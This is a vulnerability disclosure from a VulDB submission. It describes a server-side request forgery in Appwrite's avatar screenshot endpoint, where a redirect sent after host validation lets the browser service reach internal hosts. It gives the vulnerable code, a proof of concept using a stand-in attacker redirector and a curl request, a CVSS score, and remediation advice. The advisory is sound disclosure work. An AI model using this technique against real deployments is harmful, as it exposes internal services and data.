| Title | Appwrite source revision 3fa2e2d; affected releases to be confirmed Server-Side Request Forgery |
|---|
| Description | SSRF in /v1/avatars/screenshots via browser-service redirect after initial host validation (Appwrite affected versions to be confirmed)
Summary
Appwrite validates only the initial URL host in /v1/avatars/screenshots, then forwards the original URL to the browser screenshot service. A URL that starts at a public hostname but redirects to an internal host causes the browser service to request the internal target.
Details
The route accepts a url parameter guarded by a URL validator. The handler parses and checks the original host with Domain and PublicHostname, but after those checks it passes the unchanged URL to _APP_BROWSER_HOST /screenshots. The browser service performs navigation and follows redirects independently of the PHP-layer public-host decision.
Core code path:
// src/Appwrite/Platform/Modules/Avatars/Http/Screenshots/Get.php:68, 99-114, 184-190
->param('url', '', new URL(['http', 'https']), 'Website URL which you want to capture.')
$host = parse_url($url, PHP_URL_HOST) ?? '';
$hostnameValidator = new PublicHostname();
if (!$hostnameValidator->isValid($host)) {
throw new Exception(Exception::AVATAR_REMOTE_URL_FAILED, $hostnameValidator->getDescription());
}
$fetchResponse = $client->fetch(
url: $browserEndpoint . '/screenshots',
method: 'POST',
body: ['url' => $url, ...]
);
POC
Reproduction prerequisites:
- An affected self-hosted Appwrite deployment with the browser screenshot service enabled.
- A project that can call the Avatars API, for example the Console project in a test deployment.
- An attacker-controlled public hostname that initially passes Appwrite's public-host validation and responds with a redirect to an internal HTTP service reachable only from the Appwrite/browser network.
Example redirector behavior:
HTTP/1.1 302 Found
Location: http://internal-service.local/private/metadata
Send the screenshot request:
BASE_URL="https://target.example"
PROJECT_ID="<project id>"
ENCODED_REDIRECT_URL="<url-encoded public attacker URL, for example http%3A%2F%2Fpublic-attacker-host.example%2Fredirect-start>"
curl -i -sS "$BASE_URL/v1/avatars/screenshots?url=$ENCODED_REDIRECT_URL&width=200&height=120" \
-H "X-Appwrite-Project: $PROJECT_ID"
Expected result: Appwrite returns an image response for the screenshot request, the attacker-controlled redirector receives /redirect-start, and the internal service receives /private/metadata. A direct request using an initial loopback/private URL is rejected or fails the public-host validation, showing that the bypass occurs after the initial validated URL is handed to the browser service.
Impact
An attacker can make the screenshot browser service reach internal HTTP services that are not directly exposed. Depending on deployment topology, this can disclose internal metadata or application responses through the rendered screenshot result and can be used as an internal network probing primitive.
Remediation
Resolve and validate every network hop from the component that performs the final request. Re-check redirected URLs and DNS results at browser-service fetch time, block private/link-local/loopback destinations, and avoid trusting an initial host validation performed by a different process.
Disclosure Notes
Related Appwrite favicon SSRF history exists, but the public duplicate triage found no exact duplicate for the screenshots browser-service endpoint. Affected and patched versions are to be confirmed.
Supplemental Information
Affected products
- Ecosystem: PHP / self-hosted Appwrite service
- Package name: Appwrite
- Affected versions: affected versions to be confirmed; reviewed source snapshot revision 3fa2e2d reviewed
- Patched versions: to be confirmed
Severity
- Scoring method: CVSS v3.1
- Score: 8.6
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weaknesses
- CWE: CWE-918 Server-Side Request Forgery |
|---|
| Source | ⚠️ https://github.com/godzeo/vulhub/issues/2 |
|---|
| User | Zeo666666 (UID 100987) |
|---|
| Submission | 09/03/2026 11:44 (2 months ago) |
|---|
| Moderation | 10/11/2026 09:23 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 416552 [Appwrite up to 2.3.0 Browser Screenshot Service Get.php PublicHostname url server-side request forgery] |
|---|
| Points | 20 |
|---|